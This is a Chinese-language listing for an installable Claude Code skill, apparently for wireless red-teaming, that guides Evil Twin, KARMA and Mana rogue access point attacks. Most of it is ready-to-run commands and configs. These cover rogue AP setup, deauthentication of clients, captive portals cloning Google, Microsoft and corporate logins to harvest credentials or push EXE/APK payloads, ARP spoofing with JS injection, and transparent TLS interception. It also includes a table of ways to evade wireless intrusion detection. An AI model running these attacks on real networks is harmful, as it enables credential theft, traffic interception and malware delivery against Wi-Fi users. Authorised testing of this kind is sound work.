关于 offensive-evil-twin
面向无线安全测试人员的 Evil Twin、KARMA 和 Mana 攻击指南,介绍伪装接入点、门户捕获及关联后的流量测试。
主要功能
- 01按目标 ESSID 部署伪装接入点
- 02使用 KARMA 或 Mana 响应探测请求
- 03配置门户以捕获凭据或投递载荷
- 04测试关联后的中间人流量
适用场景
- 01评估公共或访客 Wi-Fi 的客户端风险
- 02在授权演练中测试凭据门户
- 03检查设备对探测请求和伪装接入点的响应
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-evil-twin安装后在 Claude Code 中输入/offensive-evil-twin确认已加载。
详细介绍
Evil Twin / KARMA / Mana
搭建一个外观与合法目标相同(或更具吸引力)的 AP。客户端连接后,你就会成为它们的网关,并拦截所有流量。这是经典的“机场 captive portal”攻击模式,可根据任务需求调整规模。
快速工作流
- 查明客户端正在查找的目标 ESSID(PNL — 首选网络列表)
- 搭建广播匹配 ESSID 的 Rogue AP
- (可选)对客户端发送解除认证帧,使其离开合法 AP 并转向你的 AP
- 运行 captive portal / 透明 MITM
- 捕获凭据、投递载荷或窃取会话
变体
| 变体 | 原理 | 使用场景 |
|---|---|---|
| Evil Twin | 使用与合法 AP 相同的 ESSID + BSSID | 开放网络或已知 PSK 的网络(ISP 咖啡馆 Wi-Fi、公共访客网络) |
| KARMA | 对每个探测请求都回应“是” | PNL 范围较广的客户端(大多数较旧设备) |
| Mana | 根据每个客户端的探测情况选择性回应 | 防御能识别 KARMA 的 MAC 随机化 |
| 已知信标 | 广播一组可能已知的 ESSID | 无需先捕获探测请求即可广撒网吸引设备 |
| Captive Portal | 客户端连接后强制显示启动页 | 网络钓鱼、载荷投递 |
开放网络 / 已知 PSK 的 Evil Twin
在你知道(或已破解)PSK 时使用。
# wifiphisher — opinionated automation including portal templates
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd
# airgeddon (interactive menu, good for one-off)
sudo airgeddon
# → Evil Twin attacks menu → Captive Portal
# Manual: hostapd + dnsmasq + iptables redirect
cat > /tmp/hostapd.conf <<EOF
interface=wlan0
driver=nl80211
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=1
wpa=2
wpa_passphrase=KnownPSK
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
sudo hostapd /tmp/hostapd.conf &
# DHCP/DNS via dnsmasq
cat > /tmp/dnsmasq.conf <<EOF
interface=wlan0
dhcp-range=10.10.10.10,10.10.10.50,12h
dhcp-option=3,10.10.10.1
dhcp-option=6,10.10.10.1
address=/#/10.10.10.1 # wildcard DNS to attacker
EOF
sudo dnsmasq -C /tmp/dnsmasq.conf -d
KARMA — 通用探测响应
# hostapd-mana with KARMA mode enabled (mana_mode=1)
cat > /tmp/karma.conf <<EOF
interface=wlan0
ssid=KARMA
hw_mode=g
channel=6
mana_loud=1
mana_macacl=0
EOF
sudo hostapd-mana /tmp/karma.conf
启用 MAC 随机化的现代客户端会使用随机 MAC 和随机化的 PNL 发送探测请求——KARMA 的通用肯定响应现在会对客户端实际上不会连接的探测请求触发。使用 Mana 可获得更好的选择性。
Mana — 按客户端选择性响应
# hostapd-mana (default mode is mana, not loud)
cat > /tmp/mana.conf <<EOF
interface=wlan0
ssid=Free-WiFi
hw_mode=g
channel=6
mana_mode=1
mana_macacl=0
mana_outfile=/tmp/mana.log
EOF
sudo hostapd-mana /tmp/mana.conf
Mana 会跟踪 MAC → ESSID 探测列表。当该 MAC 连接时,Mana 会从它观察到的探测列表中挑选一个逼真的 ESSID,并始终如一地响应。可绕过能识别 KARMA 的客户端侧缓解措施。
已知信标攻击
# eaphammer can broadcast a list of likely-known ESSIDs as actual beacons
eaphammer --essid-file likely_essids.txt --hostile-portal
# likely_essids.txt: airport, cafe, hotel, office defaults from open intel
对于 PNL 中包含这些名称的设备,信标可吸引其主动连接。当你无法看到探测请求时很有用(现代设备广播的探测请求比以前少)。
强制解除连接
将现有客户端从合法 AP 上赶走,使其转向你的 Evil Twin:
# On a different interface (or after stopping airbase-ng)
sudo aireplay-ng --deauth 10 -a <legitimate-BSSID> wlan0_mon2
如果你的 AP 信号更强(位置更近)或 TX 功率更高,客户端重新连接时就会漫游到你的 AP。
**检测方面的权衡:**广播解除认证帧很显眼;针对单个客户端发送解除认证帧则更隐蔽。PMF(802.11w)会阻止未加密的解除认证帧——参见 offensive-deauth-disassoc。
Captive Portal / 凭据捕获
# Portal options in eaphammer / wifiphisher / airgeddon include:
# - Generic OAuth-style (Google/MS/Facebook clones)
# - Vendor router login pages (matched to nearby AP brand)
# - Corporate-themed portal harvesting AD creds
# - Update-required prompts delivering EXE/APK payloads
# Custom: simple Flask+iptables setup
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.10.10.1:8080
iptables -t nat -A POSTROUTING -j MASQUERADE
python3 -m flask run --host=10.10.10.1 --port=8080
如需高保真 portal,请精确仿制合法 captive portal 的 HTML/CSS。大多数用户只是扫一眼,不会仔细查看 URL。
关联后的 MITM
客户端连接并将你设为网关后:
# Transparent TLS MITM (requires CA cert install on client OR clients with MITM-able apps)
mitmproxy --mode transparent --showhost --ssl-insecure
# Bettercap full pipeline (sniff, ARP, DNS, JS injection)
sudo bettercap -iface wlan0 -eval "set arp.spoof.targets *; arp.spoof on; net.sniff on; http.proxy on"
如果没有安装 portal 级 CA,现代 HTTPS / HSTS / 证书固定会阻止大多数 TLS 拦截。可用的目标包括:
- captive portal 的明文流量
- 证书固定机制有缺陷的应用(针对该应用运行
offensive-mobile技能) - 仍在使用的纯 HTTP 服务(旧式 IoT、旧版管理面板)
- DNS 劫持(针对未固定的服务返回攻击者 IP)
绕过 MAC 随机化
iOS、较新版本的 Android 和 Windows 11 会按网络随机化 MAC。它们仍会泄露以下每个网络的稳定标识:
- 每个 SSID 的 MAC 一致性(同一 SSID 随时间使用相同 MAC)
- 探测序列号
- 802.11 IE 顺序(制造商指纹)
# Cluster probes to track devices across MACs
hcxdumptool -i wlan0mon --enable_status=15 --rds=2
# Analyze with hcxhash2cap / wifite-style fingerprinting
检测注意事项
| 防御方信号 | 攻击者的缓解方式 |
|---|---|
| Rogue AP 检测(BSSID 不在 WIPS 允许列表中) | 精确匹配真实 BSSID + 隐藏自有 AP 的广播 |
| KARMA 模式(单个 AP 回应多个 ESSID) | 使用 Mana 模式 |
| RSSI 差异(你的 AP 比合法 AP 更近) | 在远处运行,降低 TX 功率 |
| 信标时间与真实 AP 不一致 | 匹配信标间隔、IE 顺序 |
| Captive portal HTML 与真实 portal 不同 | 精确仿制,每周更新 |
现代企业级 WIPS 几乎会立即标记 KARMA。Mana + 匹配 BSSID 更难被检测,除非防御方主动解除隐藏。
任务速查表
# 1. Recon — passive observe target ESSIDs and clients (no probes from you)
sudo airodump-ng wlan0mon -w probes
# 2. Pick mode based on environment
# - PSK known + co-located: spoofed BSSID + matched PSK + targeted deauth
# - Open networks (cafe, airport): straight evil twin or KARMA
# - Heterogeneous device population: Mana
# 3. Stand up rogue AP
sudo hostapd-mana /tmp/mana.conf
sudo dnsmasq -C /tmp/dnsmasq.conf
# 4. Captive portal / payload delivery / MITM
mitmproxy --mode transparent --showhost --ssl-insecure
# 5. Coerce specific clients if needed (deauth on legit AP)
# 6. Document captures, sessions, and time-on-target
关键参考资料
- hostapd-mana:github.com/sensepost/hostapd-mana
- wifiphisher:wifiphisher.org
- airgeddon:github.com/v1s1t0r1sh3r3/airgeddon
- KARMA / Mana 原始演讲(DEF CON、Sensepost 研究)
- 关于 PNL 利用的研究《Probing into the Past》
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md